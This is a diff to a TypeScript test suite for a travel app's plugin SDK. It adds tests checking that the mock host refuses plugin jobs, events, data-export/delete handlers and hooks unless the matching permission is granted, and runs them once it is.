import { definePlugin, PLUGIN_API_VERSION, validateManifest, createMockHost, PermissionDenied } from '../src/index.js';
import { isUnboundedRange } from '../src/manifest.js';
import { scaffold } from '../src/cli/create.js';
import { validatePluginDir } from '../src/cli/validate.js';
@@ -285,7 +285,12 @@ describe('createMockHost', () => {
async exportUserData({ userId }) { return { userId, rows: 2 }; },
hooks: { tripCardProvider: { async getCards(tripIds) { return tripIds.map((id) => ({ tripId: id, id: 'b', label: 'X' })); } } },
});
const host = createMockHost({ grants: ['jobs:run', 'hook:trip-card-provider'], actingUserId: 7 });
// Every entry point needs the grant TREK would gate it on — events and the GDPR
// handlers included, or the driver refuses them exactly as the host would.
const host = createMockHost({
grants: ['jobs:run', 'events:subscribe', 'hook:user-data', 'hook:trip-card-provider'],
actingUserId: 7,
});
const d = host.run(def);
const res = await d.route({ method: 'GET', path: '/ping' });
@@ -305,6 +310,52 @@ describe('createMockHost', () => {
await expect(host.run(definePlugin({})).scheduled('x')).rejects.toThrow(/no scheduled handler/);
});
// TREK gates hooks, events, jobs and the GDPR handlers on a permission BEFORE the plugin
// is reached, and skips an ungranted plugin silently — no error, no log, it just never
// runs. The driver must refuse them, or a green unit test still means a dead plugin.
it('refuses every entry point the manifest did not grant, the way TREK would', async () => {
const ran: string[] = [];
const def = definePlugin({
jobs: [{ id: 'refresh', schedule: '* * * * *', async handler() { ran.push('job'); } }],
async scheduled() { ran.push('scheduled'); },
events: [{ on: 'place:created', handler() { ran.push('event'); } }],
async deleteUserData() { ran.push('delete'); },
async exportUserData() { ran.push('export'); return {}; },
hooks: {
warningProvider: { async getWarnings() { ran.push('warn'); return []; } },
notificationChannel: { async send() { ran.push('send'); }, async test() { ran.push('test'); } },
},
});
const d = createMockHost({ grants: [] }).run(def); // implements everything, granted nothing
await expect(d.job('refresh')).rejects.toThrow(PermissionDenied);
await expect(d.job('refresh')).rejects.toThrow(/requires jobs:run/);
await expect(d.scheduled('daily')).rejects.toThrow(/requires jobs:run/);
await expect(d.event('place:created')).rejects.toThrow(/requires events:subscribe/);
await expect(d.deleteUserData(1)).rejects.toThrow(/requires hook:user-data/);
await expect(d.exportUserData(1)).rejects.toThrow(/requires hook:user-data/);
await expect(d.hook('warningProvider', 'getWarnings', 1)).rejects.toThrow(/requires hook:trip-warning-provider/);
await expect(d.channel.send({ event: 'todo_due', title: 'T', body: 'B' })).rejects.toThrow(/requires hook:notification-channel/);
await expect(d.channel.test()).rejects.toThrow(/requires hook:notification-channel/);
// Not one handler ran. That is the production behaviour this mirrors.
expect(ran).toEqual([]);
});
it('runs the same entry points once the grants are there', async () => {
const ran: string[] = [];
const def = definePlugin({
jobs: [{ id: 'refresh', schedule: '* * * * *', async handler() { ran.push('job'); } }],
events: [{ on: 'place:created', handler() { ran.push('event'); } }],
hooks: { warningProvider: { async getWarnings() { ran.push('warn'); return []; } } },
});
const d = createMockHost({ grants: ['jobs:run', 'events:subscribe', 'hook:trip-warning-provider'] }).run(def);
await d.job('refresh');
await d.event('place:created');
await d.hook('warningProvider', 'getWarnings', 1);
expect(ran).toEqual(['job', 'event', 'warn']);
});
it('exposes the scheduler timers a plugin armed via ctx.scheduler', async () => {
const def = definePlugin({ async onLoad(ctx) { await ctx.scheduler.every(3_600_000, 'sync', { n: 1 }); } });
const host = createMockHost({ grants: ['jobs:run'] });
@@ -900,13 +951,15 @@ describe('mock-host inter-plugin (plugins.call + events.emit)', () => {
await expect(narrowed.channel.send({ event: 'trip_invite', title: 'T', body: 'B' })).rejects.toThrow(/never dispatches/);
await expect(narrowed.channel.send({ event: 'todo_due', title: 'T', body: 'B' })).resolves.toBeUndefined();
await expect(createMockHost({}).run(definePlugin({})).channel.send({ event: 'todo_due', title: 'T', body: 'B' }))
await expect(createMockHost({ grants: ['hook:notification-channel'] }).run(definePlugin({}))
.channel.send({ event: 'todo_due', title: 'T', body: 'B' }))
.rejects.toThrow(/no notificationChannel hook/);
});
it('a plugin with no notificationChannel.test is a clear error, not a silent pass', async () => {
const def = definePlugin({ hooks: { notificationChannel: { async send() {} } } });
await expect(createMockHost({}).run(def).channel.test()).rejects.toThrow(/no notificationChannel\.test/);
await expect(createMockHost({ grants: ['hook:notification-channel'] }).run(def).channel.test())
.rejects.toThrow(/no notificationChannel\.test/);
});
it('runs a settings action as the CLICKING user and shapes the result like the host', async () => {